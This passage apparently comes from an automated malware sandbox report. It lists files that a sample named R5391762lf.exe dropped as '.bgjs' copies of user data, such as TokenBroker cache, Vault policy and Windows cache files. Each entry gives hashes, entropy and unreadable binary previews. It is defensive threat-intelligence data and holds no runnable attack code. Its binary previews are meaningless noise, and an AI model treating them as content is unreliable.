Preview:	SQLit<.H..d./P.....a...[.b.....j.......L.MZ.V.....,4.b......pE...R..3..zY......&).F.."......V..oFa.J..K.yh$.ZD..<..As.]...?.}q.[E.$.'O......{8.a....8...(...-.0gdt..;...[.F...]6......$)$.....^Y....!.G.#..#.^.....>5...G....>.....;.=(..%....h....L...6p\|..C.e..Q.".lA#-Q..&.?.B....&.b.e..1...p...@.=....PY.3..fP..Bo..$.@g.q..%.....H(1......=G...a.r..x...\|Q@7-j..S....6.u. .n.s..PTmKu.\|=.D..(.....[%...h...0!..7.......}3e....J....hYo.k...SC..z......J....~ ..<B.OI6.U..]-...b.N.0}o}..B......"j....I..$..l..;.({\........@5)2I..\.....3.s....S. ,.9..c...^.../..O..>.b.H.)o..U...}.?..=.....3O{R.\$...t..F.9..3.,.:.#.e.y..V........D....Zf;D....{;..S"({..]AM.M.O.=.~......#.q...y..y....9.Gna.......#.m[n..A.., ....$...};..L.>.H..c.!.4....y......QV{.t.3.g..7\UPD.d.A....$.....wP?....x.........,e.....)0.$...lH.IW.8.......<<...&....+...Q.E.l....\O.....$..4p;N.r.!h.~a..Ol....5$..@.^.a.R.&H1<Ml....xZ...._P..E:?4.`....}N.I.l..<..6^;S..,.U5b...\|.:..9%+hK....

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9933990865446285
Encrypted:	true
SSDEEP:	384:cmiC9mx5JyVD4JMXCxVjyVXOMY5ej5B2O7f4yOQXTlAGDwiTTR52KfGI2lQ:1iC9OyVDdXCzjyVk5e7dOQXmBiTPJGLq
MD5:	DA03586E11F902108F9BB3022E74B6D9
SHA1:	C7F9089CFE5475FBF0B9D377DA0110477DB21C8C
SHA-256:	F7A5A3117488819B3571634C4F5EE15458F6738B63CBA3EA9DCF6CCC1D1C5E16
SHA-512:	050F76C0F30EB6BAD77CE9BC8DAB69F9300C3CCD0FD4ACE1C3F4DB737A3CD5C4872AF2CB2F56FF2B8BBC88241B92DE684766F97465CAF5D6D1BBF2B8BAD17D26
Malicious:	true
Preview:	SQLit...Wj.~A5..+...m... ~.A...../..d.p./>.=.._p@B...5..e...o]....v.z.;..M..3mw....D`KM.._...(5./...$&O{...\....S..]R..{.N.......+,..Y......@..:.(v....:.FyBW8..h....j..x....:. Qg{.....r.".f...Z'.Z...[..%.2A.....[.....a..;1.).P&0.......Qg!.E.....hO..MdHA..N.E.;\|.2..%..L.4W...U......-S..........i....k....+.'...r...nt...Q.3.........i...\~..W....0r.&J...HGn.p....]..a.)...D/r@..<L...w..&8.m<ry.kL...U.-..[......!S.+...T..:..R;0.S.u92..W..d..DS.h.!.=...7-..Cs.2...Q..M.<.j.(.kx....3v..........Z.4.Hcw.k4.w.vld..bT7G5E.k.A5,@.1......BfC...z....><h..\|..J.....m.+YwU...4.....2.a9AR.<.]...(.7...m.eN......V.........R.......6W.......x..4X._.....o...).`...(.[`......,......8A.^.1..... ......X......f~....g.._<).t,.t$.....g7(d....\j..3eB(.<UU"...Q~.Wy9...s.:v:..H/..}p....d..c.~..Z..:..3 $G.n...d..v.H~lG....1..r.5.,.HS..i...c.:.wa.7._.....R....4......m..Qi.i<..X.mPZW4u=.....<.a.9_+L......O..\|.(....H][.7..w..t.>.....S....c....l.F.mK...C....y......D.Lv....f...

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.815654780572552
Encrypted:	false
SSDEEP:	24:YTuWJByPm+N0FUydY1kGdxTn0N++a76rCQiYjfAQ15wytqJy/ksPXq8uWbD:YTuWPyBNEY1kGdJ+++a76xxfA1yvPXFX
MD5:	86C5ABBA458C3D6A4A1DB911F3A1DBA4
SHA1:	DEE93888FF62284441408A5E062ECDABE06591CC
SHA-256:	4F6FA0B5EF495D0E653FA55A1AAE076EFBEF2536FBBBFEDD78A227F6D95A26D1
SHA-512:	B64C9F8D8BECA50D5DB9BCF755F63B556E0378F8031B3BD0F6E262BEC4EE24921959DF7F5D900BE4E63EFD08E653D6DB1E6AF25FFCF71A1AFEA113DE9B9C66EF
Malicious:	false
Preview:	{"Rec...{.......(}.1......Nd....;w.'&<....kW.v.!q.e.....D.h8N.f.. 5:a7......2.....Re].......S.WPkf..9....:e../.J%.e.4...h....ItMh.#..#......>DH...D...(S..{gP.....i.1..[A.......v......&.\|.g.Ba.R......+h.(Q..Z.4m..Ovs..O[...D....R.v.8..q.Bz).....O.0}.-y@.U.....-Q..r....;.x.!vF...<...kR=...8...7.....v.}.....O....8..p.S.7t(`.a-....}.........<SO...X\|B5.w...Xpt.d..+X..[(.q..8.6..[..E..._M.s&$...m.......V.{...P.I31....fa.W..m...\. d.4..D2._ [......8....;..NsL.+..oA.....B...Z.1#)....Gs.C1..'.0.@1.....>....e....a..}..n.E/.....b..>....".LR..K..,..5'...h....~Z.w....4.L{..~...r....p.^X...i..[.....X`...8$_.....?\|Z.....l.G3.-..Y\...1..l...?.UF.&..S[.Z......k.....!1.tV..............4...;.D...}(...........)}V...B..-.8.4t8..+.w..#..&...y.C...U.....o.D..50..r.<(.....>.......,....(6/M........\| .O..3.o`.C1)0........G...g@m.....T"{...\|..F.&..P.z.de...[.%....HW.w;....+....d......y;81..G..Z.X...]...{..O...B !a..1...4....z.1...x...\......,....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9194863013297585
Encrypted:	false
SSDEEP:	48:eTarrGh34y+5afCviqnALXgD20cNoqQTFYDpRJ1ISr1S7+03lAIjX2tBbyRtC9C5:KmrZyVCa5wDlcNoqwKDppIa1S7x3eIrv
MD5:	ABF87FB1ED77D8A2526DA54031E4162C
SHA1:	58D859BADC7A4037D58C127E91FEC59E11F6B284
SHA-256:	FDCE8DC265E56A6C204404EFE025FA02EC78E104051B7C79667CF25148B6F9C6
SHA-512:	6A8450A0389B6E8D25503A14C19E03AE74499A4DE5B951655A1001D6E6257E55926BC5AD2D0E1EC74696E3954B2B8E8048ED3E608F5DC3818981F3D16728AFBE
Malicious:	false
Preview:	{.".Tb..&.%(..I ...j.$..P..r.uT{.#%.j.:.s..p..pH.......-.NF...A..u_.P#.....NP.H"~..H..I>......p..c.....xE{.3.....j.s.<.JY...^.....Aj\..(.....@zO..Tl..M:..?..O.....j..f....%...x7C.#.s2...K..}...k...m...n...Y..j.;x=....=8$,!....tj.c..........+.p_kd.Q.G^.2{".s.!....7.2.....V..j.u........e./B.NM..x..w.C@.$,B..z7.{>!....D.7..[.....-..XZ.....-......@.=..=A..e.j..H,..A....F....F..?\|pw......+z...]=!Pz&.E..K...8..R.F...M...X@s...s{L..\.j`...K...\|c..r,.ed?..2.n"w.v`.........".._v7Y.Eu..V.c^.@Y....?..f.\|..1/..1..C......e....0~...8...T\j..+..9.!8...5............1.....g...y.y.$.w..Ar..0.F.n.f..}G...f..i.1c....~:^...2W.].{].9...& D...q...p.eEH..Y.D....Y...x.FZ....5...X.........I.q..]C..^..i....$"......h..%.Z.B.c.\|.R...`.:.a....B#H...PU........&.t....d-.......J.......Cro....o...H....1B.a^...p.U3.~...O......'L.=..fvzz..H..6N...[~H.Tf....o..8S..TpR./H7...Y.B........5.F../.\m.S..%d........^.[..-.\|......AOz...4.H.....n..OA.+...2.1w..G'.....1N.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.917929394856095
Encrypted:	false
SSDEEP:	48:qG79aDMcUWTVkInlMYYqGslGAQSKnmj66Jgz2RhMK09hsq3OvDizXFuED:q88vvkIn7YYGAwmjFgwaK2hsq3OYFuQ
MD5:	98F7E17626854D9CAD549C7ABD26F67B
SHA1:	B823E300D1B76E82A5C83636D9AD3C400EAB2A9D
SHA-256:	A52BDB63E1576A99FD60DCBCFF75FC86EBF974522D92615BD7B4A6EA2BCBA955
SHA-512:	2EA9BBCB50F4AE2E4B46AC76F2FBF61727A863BFFDF2C06D7EBC00F03B41C008009AE0FE91CAE6C503510D631DF226EC21E958C200FD7FDF72045E352AA70522
Malicious:	false
Preview:	{.".T.....7B]...".1../...1i...j.B..8bk.70...X.....p.../U8.y-p...P.......a7!{.7../B-....ke..!)..e.[.x.DZ.4"._`......t.y..9...r...J5..<.P...+.R.3N\|.m.".<....i..w.?..).u...u....L~......})..H.%.Lm8.!w.N..O\|....m.4......p.3Oc...xm...a...;..LT)..aP...'.ayL..`tk\a...k.e.{T.......0...`..Q...x.....nt..8.jK}j...G,--G.`......u....}.Q)..n......W.(-.M..... .>..9.$....F.AFXQ3t...1r......~.....^B&.b.r\|.x.jj%..\|.l3..2..%.!...S.eP.8u{N\|CY..".r.i..U.~.G._(kX@...W-.^.7..../....{..m..P}..g.p2B....b.yJ;...~..V.D...K...n.8...>.(.}....4_.D{.W).5.s@.....i...D.{X.K....&>..N. ...{...8...{....E...W..Uj..=....:..>d...NB..9.c.l.aC......q= ..(n..,../..R...'....`."..p\X..o......si..\|t!\J......h....w.6..;C' .R_n.6..$...B..\^.[..M..Y._e...k..$..?....#.=..z..i.4+>.=.U.oN"m..U.O...@.'X.A,C..K..Q..U.CC.3..'.;..B..U.4.!...=..........D\|.<...&..H.W....v.h.": U8..nvW.8.....jY\.`..j`..N.....:.!.g...d'wu..dL.....PB.KY..../..........Kki.../..^a.o....X...........l..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937006512567824
Encrypted:	false
SSDEEP:	48:FVg770pd+hDiJgYwNYo4ooJ1Gp+QhDcYc2XRynpJsMs1RGSAHhl3cM9ESK1aENLQ:w0WhDK0NVoJ1IjDcRciQJAHhl3cTSIax
MD5:	F74C7C0E6F201A5FD0F871EE360D4B0D
SHA1:	590E1BDD47DE7E7E64BD864ECE8AEA436F346E17
SHA-256:	289E75F9603CCC9D4473FFBD0FC74EBC08F07FB708DE1D594F138205D1AF80D7
SHA-512:	1922AD6484DAB81EFB7B4C8AF06CA0A64F1EEB6B934306EB5C75E4AE673CD2C58ADC4D5BA23358D1E616F8CF45780B7D23807E29E9D4536C4BD0A58CC2BEF960
Malicious:	false
Preview:	{.".T.Y.\..M E...XK.2.:.2<.iI\.?v....6.[q.E.xp^.AoA&.}...x......-{..O...i...........x..r.:.?50.ux9...r.B..KK..<..\|.......9.;...m..-...F2.I.B4..............P....Y..n.3.4v..\I...p.........../4....05[x...\|.4.. .)...r.?.<D.......`..N.lm..1......+..#.t....6x....U.....>...!)..N.xD..{.Z...<u.). .......I.B.Z.{./...e!.q@..S.^..v1.U..\Qv^..~..cB....].&.J.........>g..P...i..~.`.@M..-.....9..h....[..G.i.yX.+!..G,p.....y..z.....n.h[i...._v.A..\\|..;..G..w.B.dK.........J.)..a.......@.{,{m.;......us[-a.I../....H..n8c.yc.....Cez.=....o...!?....l\D.d..FW.5.F........X42.=..=...[R.C....l$...H..E.vj.M......0.M.....&.#......S...]D..'.o.?.V....\...x.c..s.y.....X@.Wq6D..T...c.E6....../.4...m#...\|..-su.&..+q...Rd.........O..'....Ao.o.n....;..E..B.{sg.a../.e0.^..=/VCY.m.....$...a6D....+...".......V...$...].q..88.K..:...i.{n...Lw...QVG...r...OP7..q$.`.U...!N.e.y...j.4,...v....@..~..-.z?..2......wUVj[n......Y..H'...S....^Dr..jH...V3.'......gu..;...%J..^..~h..v>.Ti

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.924584207886789
Encrypted:	false
SSDEEP:	48:PdWu46UWh2wYnftXng+8R5ZKDkjwmX/ZfHYfgUvaTF7L4e+E2VXC+vXFuED:PdWuxXYnntgH5/vZfFmap7L4TVfvFuQ
MD5:	B93165466D9B6361FC9A2011207C9E1E
SHA1:	F24B15049096281B95285AFED84F91F5C15D81AD
SHA-256:	57E50B6AFF81FF8801E0924A98822B020182F90FFD79668CE414125928921198
SHA-512:	4E63ECB38653A15D915E1F47E150D8E8511D92A5EBBCAC471A71921988D9A84DF0694562509AE3D42FC3BF1B4A7F837B6596D06CDC60AA18B4317881503D76E1
Malicious:	false
Preview:	{.".T.!.......Tj..cy......s4..<..A.<=.x..!_........[.Z..pd9..H.D9.U;@e..\.sR..1..sx..Y..b........o....=.u...$.sSBU..p/.U^..l....6....e...x._.v..E.2..3.T?...c.."._....n4eQ.......c...$..-Y.... x.rt..b./+......l...d...1k.X.M..Y../...x.W....Z.'0V..5..&..@..j.....5...m...).Gb.w....$.-.....J..hS3S..h.u.%x3....$..H....)..0.c..m...M.....5.dh.H.`#WW.M.....RS.....6f..S..C.Cb.q.......g......8......}]..[0<O..s..:.I]...J....d.F.Aub.....+.]....R$.`..$KA]..r...d...#.....L.=w^....C...._.Z......B..sn.AR.=.....h...~>....).....5t..J.....[...p....U.......&.W.n....\|Pr...}.9..b....*i_.Y13.H..w..z.=..&h^..%.p2....CR....7p..... .-.a.l.d.H+j8.%v.89\|U...].>A..c1&.D.......$....5L.....;....[Lf....+..k.1....V..&.n....V8GQ..I.BA..=.~..........N.Q..D..\/...R>...%...........r...v...?j.[.Y..#F.wO..g.,..Z.lU%.}0~....h.KdG..jC..t^7..w.}J.ln\|l.cr.&T........n.A.gg.#w!...e..}........g-.E.-h.....7...Hp.....s.......l.'...j.........i..3;:.w...y.BRT.1.....<.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.958607125703874
Encrypted:	false
SSDEEP:	96:+6j+N1gQiJpHdeCNnh1bgUgzPteyS75cmcsPYCDe8cWg3TyWNOnng3vRUw0jb+xR:+ISOlJTZ54PpS9cSDYM2v/0jb+xUyiQ
MD5:	ED7E69351BD080201817D69CEAF0D3FC
SHA1:	E29A4326891619673689142D5FC5599BE6566702
SHA-256:	433DA76D22A125461AD029DEA629358B18EA65408466A55BEBA35406C49A4A4C
SHA-512:	72AA9B79042F153D14967A2D5AB75E6D5D3E7BF849B70FF2CE43E016C9FACD1E86D2DEEA391A5B2130186A135C73C04D846A175AE088C8BDF5C9BADD6A9FD324
Malicious:	false
Preview:	{.".T.-.Z.D.Q..{e...a.1X.. z0.+4 O..... .z$5#%...x..<.>G.~...J.%I....y.~.Qa.n.>.h..."....i@..[.0..e..3..Y...,.w....cY.!y..$...]M...F..ji...6ma\|.....T.......oZ.:r...Pxy.......]...x.]h..R.........."..}a`..EuG...}v...;..dn/.....P...0...l?..3..L.r..A.(...'I.....}..#........._.#.%.?........... .-z......e.....6...m.}l..1.....8..L.....'.q..Pl.+cc6.2...k3c.f....6O...`4.N].4K.........^....M..Bpg.+..E.J\|.N>..+l.1...._..<.\..:.c.%......5...6QQ8G.7.\j.5...X.......,.W.m..!..........x9.... ......M..A..../$.GA...<..`m..,Br..`gH..I4..X<....C_j..P...j.38.sp..\.8....W......i....&7....#e.=7.s.6...(.5.j><S..s.R..qH....UM..7F. .....s.(.n...24Tv^.V..._.n.fH.....W......R.I...h..=]...$....t..f.<...%.-......)E;..........[7.'p:.....#.. ..y.8.e.....@F..o........X...e.w.....Le.....t;.S=....a...."5.....H..{..V....nT@=9..F.....\|.mgh..n...(Et.M.?.y..E..=]'.7vE.u.._.e..ls......u...O.~\=...v..Ql....Q...^.GL((.52Saq...x.,........b..= ...3.....z...r:{s.....O..T./5....T.h.?....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.9327559476704685
Encrypted:	false
SSDEEP:	48:fHO0NB+dB7hqq8zgTVaVZDNLbBLM9nkVWrY22pD4iUEjVWwDP0a9EvC5WNMYB9vW:fHO0m5hAghaVBNnOiVJX4if5Wwj0zAWc
MD5:	9C48F2DEB543D86A453C4028684691CA
SHA1:	88F867330F65B1A36A5D55D9D22355026FA6D4AB
SHA-256:	F377E7B7CC464329A6F0D36292C5FC6C408CBDAA3C0486DBFEF9A7D8CE3DDA65
SHA-512:	1295B8392652BA3EEF2E47033D0FB84F34FF5976C6E12DDC5705E6DE1AF82C0A8D45B502A08603C700F8FD259A0E747EA31D399CBC4D7E2F0EC59E194BC33080
Malicious:	false
Preview:	{.".T@..#-V..:.L.z..MP...M.^....:Q...'g./.L....9. ...vK...w....@.'Z...'v...........}.o...b#r"........)J.+.M..q..l.......8..o.J..!<.0.V.y.9..x..d..Mw...Vgz..9.`^.w.F.....8...y......_....x.K.z.y..2.....<q]............8Q...M...I..2#.......$.."....\|.H.>Q..4y.tO..x....N[.P....].H....D.../.......).".......:.k.0e.,~.n3{...+......or.CB.u..}..QNS..!.U./..p.=...a..]..:(Q$...........k.!..K..c....6..\,}+E...C.....HB}*.\>Bc..j.c.u..c.}.M.d.%y...^...J..,.....5.6#...,.2.....)Vy.R...+.i.4.../..#..@..>.\.;.p..s......4.e....^@Akt....F.;.W~J4.Y..ru...V)Q....(d...(:.Y...zr....N.X.}.....G3...O..J..1...\s.Ov[.(...6.=.6.Y....J.x).~V0\.?..0@..~>.0....qJ.Y...%......f......E..... .v...\|...\..}d......X!..<.s.R.J.{...d.;F.T.M.4...G...2..t.6QGJ:.=.....&.yW.2LM.\w?....L!xZ......$.C]..j..c.. u...........V.{....>.?.27W......T.}.........D.u.(.^....h....I...G+.0-N...x.....g.k.j.u..0......)..zOcr....E[@....l......P....#`..}X.\|...z.. e....8........!.V.....<.W.....-K2)...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.920249940411754
Encrypted:	false
SSDEEP:	48:cWNgXOC2a7UA555QyEM/g15K7EWa8S8b0jXFuED:cWreqVmzanFuQ
MD5:	5CF6121255A817170E4D495E2134063D
SHA1:	31772E3C0FD2EE9AAB258A50337C62C0930AA1E8
SHA-256:	1C9C5CBE3D91429F81030F97A3BF74F4D824B9438A138C7E55C084F4293E27F5
SHA-512:	0BE3E2B26F7FF50E5F8947CDA42A39C108957D947FE33A771C308E0BB235E05A295D0F9B9DAA8C55FA39991BAEA054C3C08F57941CB86393593572278D315ACC
Malicious:	false
Preview:	{.".T.I?.N..ez...np.K(j........;9..se...(F.......#....n...... c?.q....n.n....z..v.m.f.........\0+.&./...\|I.-...3.G...G..........^.+.v8}P..N ....Qv...;......=B.6...:.....Z.s....%D(.a......."....-..z..X^5.+f"y.Y...M5.J....#b.W.....'..QwK...A...m1.T..VS.w8..?^.".....T.I.@.f....p....~...r.lZ..-......l......lc...z..77..W"t..++......%;Q.:<.5.4).[.y!@.\|x.b..#[.-.....b..sv.....i.v5{.%.U.....S......9..P......x.o.-.NB.X.A...Y...B..l.....T..}.E.k,K..)K..#?.O..yl.Z...I..D."....;[......E.z.vC...(..6].Mr..6d....E.........?..-..b..../cq...#.f......2."....\/._....@..^.!Z....C.C.E...uf..~..d.-.mEqRPrO.>..:.H~..(.J.l....@.J1.....Y$.-.)m.0B*.V/zS...,..J.fjF............. ..M...F&Z.o%.&......0o....~3......`.N....Ql,.'i..Q.C.j]Lz.'8..%m~...[x...<A..x.....#_3...4.).J.M..h3U.........+..ZA\|2\|..[K...D X-i.+....UM.0.X.s\|8..3yX?/&\....J....&1.[K:.CF..U......l.....5...W.s....}.....C..@...U.......i'..;\t.f.\|T..5...".M3^AO .o[.........Y...l.....O.ar.."..j.

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.697474692858126
Encrypted:	false
SSDEEP:	24:DLQUvIXuyDQfIP21SXtBNpe1lSUU2rOoyj3pXq8uWbD:DcUI7KOkgvNpoBORj3pXFuED
MD5:	FADCFD1040BC011A268BB99B044BA825
SHA1:	F49B0E2CF3C8C78379F8A39DCC54467959DBC176
SHA-256:	3E74EDCC62568A696C7538D1ABB7EC3A264CBB54F980112E8A2F39B494E7FFA5
SHA-512:	19DDB0609CFED53BE78384F6D08279057841213C566D96A3B26F1936F71453FD31DEA9BBBE9D70EFE7E34AF2B610F670A19EE2B6BE32005CBFEA1E00E09307CA
Malicious:	false
Preview:	....B..._.I.F.....w.g..IH.>.......# .q(...CD...S....[ss.H...-.....Y.....F.G.%HQe......p....i..D....Y.?...m. ..I....m..^...{.d.......$..E.5..._..(.NQ.A.....N.i^..&.v.5....k....6..Vyc.....le...r.:../.........:.fG\|....:.y.K. .....II+e...]..Z..s..Z....v.>}+.f1.{zO"z...?{0.</.S.~...0.......O...T...L...+(E.j%?...}!9.V\|....]t.0..1!%XZd..C...zY..su.x.d5.I...k.Y0....AO0y.....V.$Y.w..'........0....B..A<...L4.0.L.\.s..b_[....../.S..pS.-.S.v..\|.~....t.........L...t=.B ..f.s..@M.-.E.c<..y...>.s.....o.%...C..n:....^....H.ZD.@..G.H...x=.+.."..p....*..T....._-.V.a.5..%...0T!..K......8t.$4}.}d.?j...1;C.e...]...0.q.............mZ..N...........>.....g.xk. .%.iV.jx...E.Md.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33149396397319
Encrypted:	false
SSDEEP:	6144:H82iv5QdJcUfYTPz+/tz7S2TzIOdLm+vyJfbnQkK96B88yKv4bWTmTvEiLSE:cWtUPz+1z7S2TTm+6dF4/r
MD5:	92827261AF9B54CE7791088545787B84
SHA1:	4C96CB9034B391E8921878423E94957A08BE4A70
SHA-256:	3B7A15DFC1D8F824EA3B76B64A4668940E9192EF88DC2A05CFD25BB8BA29CE58
SHA-512:	365717ACD96519A8589845D84A953D8DDF5E0B3622E6B090113725B4030D81908A33D89CCAB9882F15FEDAF734733771B28AB8ACB9CFC0D0A824545322EB1C6B
Malicious:	false
Preview:	...P....Z...?..f_.n..r....#......r..K(..!..G$`Q.35..V......4.].......'t..MJ...vC>..L....T.J..<3.q.V..]S...;X....!.F:c.>.7i..{.dH..d.39yq...Ut....s...5.g..#.F.c..V.>..;.}......H.DM...XP.y&.u"....I,]..A.^.36..w:k../....)...vB..&...E.....'.]Mp:.r...S....._..q.;.z...uh..?.......C.e...+[.W..V....7..C$~.~.?.6I.F`z.A....C....nw0.........S.E....`...R..z.T.'.MU..;..9eX..%..6.U$.'...G..^in.@.}..._.3N]..T..>..h..........E...I......o.....).....,...<.>...O..d..v..Y.(..X..JK...nBUj...E...6.W.".........s......]-..c..;.Z.]"kB..J.f..........H........Y....~U..@.]..L.p!)..].P.7./<...N....t.<.(..U>.'....hy..1..8Fn.eF.tI.......~r.^.>I...,.Y..q.N.}.mdi.x.............6dt(rY.GnjN~6t..........G....{..3.lW[Y......M...."u..i..G0.U}ljB.&....f[.PEE4...8Vs&lD..a..lW....}.....:j...b..C.......a1.....6uH....F.2.........%......>...C....u..%.x.0%.x...{2n.........4.....A...S.+6...K.'I.F\|.0.G......B.....r.^.8..?gF...#.2/..R...".-...#p.f.9.Lg.e..e.".^...q.%.\..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988432190344394
Encrypted:	false
SSDEEP:	384:LLdk5bbumOn2zQvaku0c63Q05GRTjho47bONME+3Q6XWxVG8F5XQ:SRCmOnQQSku0c4Q0kRPmWbO+3Q6iV35g
MD5:	56DA04E69A5155D1800E49E0373D5B08
SHA1:	85893C92176E0125DCC36C0F1458D02B2889BB5D
SHA-256:	B98E4E04178C6D252DBBB3E68BE540512A15E7ED486FE65BDC4767BE0CDE7245
SHA-512:	1652084471DA29B4DDB455850570110540B48737E1257118C00A9093421BF0E41D6CF07C0F7D15FB805888D32E4883F694047E21DBA8CD2372931D6BB5DE18FD
Malicious:	false
Preview:	.... )&.`...X.#...i.d.V..L<8.o...n3...k;.....9q.t.Z.......'.....?z...ax.:.5.,.;..Kl..Y.V.....a.j.....8.r... f+....3.."r.......N".}......F.....1].-..P..{......H}G4...%...;..@....!d.)SL9.e..O.....K@......1..As...W]..G..Vx.........\|..N.O:..G.\|.....3S...2.h3A.u].zL.6.w...S.MQ3...}.H.V.5..w....u...17qM..j..f..=.L8.......I~...q./.......k..GdGK9L.%.... @(....}y{.ar..-.\.SU.b..c.$K>Fz..A.7y..:...6....U..d.~.U......~..i)oq.z.Mu_.X:y......2.(..?....XV5.....$,F/...;...7..C?R.A&.u....A..CX_.]q=-....'`.0.L.....n....@..=T.......4".K....o....+..p.LO.;.U4P....P%.+..2..}h.oU..MQx$..I.6R.k."..%......yn......rCh.z.a...?F.....eR..C...O.].u...Q.eP...;..jO.N...\...h#.\|..p..4N......(Op.6..6.....u.0g..>=.e.[.s......6W..jyW....3ko>..,..h.3..m%.D........-m...a.G......tSH.wM.....v..(rU.Y......%....."..2....(..N.&..s.u.....v...V....kJH.:..;.aM.p}Z.....g5{...$...-u@vq..../Y.;.:.........?:.^.T]<...o.......vn.sI.F.p#...-......~......g..J;.vE..........6.XD....-M...=X[\.F

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989837434683878
Encrypted:	false
SSDEEP:	384:oTXics3q3ig7Wkbrs2p88e9D6BKw7nfdOk/x1cCMcWxvJDPhtdF8wQ:o2Tq3LLufN6fnFOk/vcR7vJDPPdGd
MD5:	E5F2EB7FE6215FAA93C22F3F34F334B2
SHA1:	D2F49F835893865903F63834F73EA480725AA0E8
SHA-256:	02071B6045E450C8ADBA91556352F8B4EDC08D1B4121C99E33427B1F3B61E351
SHA-512:	178E278AFCE11EC808A63DBAD9F04BA70BC955D9E44C27BD108713F315D932ACF094FEF4DECC00A997EC3018CB92D689E245A43C2DD1026EB5A104BC098388AE
Malicious:	false
Preview:	....`\.#..d..}.k.E......JJ.....H.W4...l2..W.&O.Df.0.m........Z..R.....# 9.~Cf.eBI.y...6yz.\|:c.E...6..za.h..".X..5..tqH..D....B=....l.>k .7..).yi.z..S..N.XfI.d..".....a..k...m.z+.v.R...)>E....c5..A.^.K%yx......wl..cD-.c.ke.m......rz.;.Q...x.....7..A........(~.Nn.F`?.jKn.(...N-Q......@..,....<...z....Zln..s.~....<w.....M.;.IZ.S<Z..#T..'...4........TH.1...i.........I.....O..G.....7I.u.......U.Y..Ny.k....d.M.i(t....j....9KW....._.G.O.D..IE.]... ...1.y.#...3..0....../@.....;..4."....9..9yp...o..9s.L.GGW......,.......a.6.....{&^.....<K..........o..I...I..nM\..n.`Y.Lsp.2.. ....!..\.!.&._......ik.'^...!h....7....ZYl.i.G..S`.....De..x/....e5m?...o79........u.B...`..w.0.8.6...?.._.S`...%.8 x.x...rE....I_?RD.R3.>...........F.8cQ...f. ......7N.......t......4.b.E...^a$.......D.....Fm..b..K..p..4..Q._...I..s.x.5..J.)._...J....0.....a.'.........w.$.z........+f..8...~&H....lO.n..hDAf....D...p$*5....I..#..3.\|....s..D.k..:,9~.m...M..e..t.@q.-.B<.......?.e...A

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{29565D0C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.33285461307915
Encrypted:	false
SSDEEP:	6144:NT7LUBob49X6ea5EtML/FnO1WBm+vyJfbnQkK96B88yKv4bWTmTvEiLSx:xLRMKea5EGLlO1om+6dF4/y
MD5:	9D696D9AE61C8B17E74CA4669CBBB6C5
SHA1:	8377BF9B19FBAE1A24B0E1C71206E2C722B7940C
SHA-256:	EC19CEB4178897D67D9AF1099F441054C98314904F23A76682514A834E5CD6D5
SHA-512:	1CDAC0D37A482D03F10F6A3454142CDCFE8A137966BC9D38EA9072FCB7A04502D5B3A7D2FC4BB205F156F98543944705A8BBD3C1190862972D1DDA102F5C1CB1
Malicious:	false
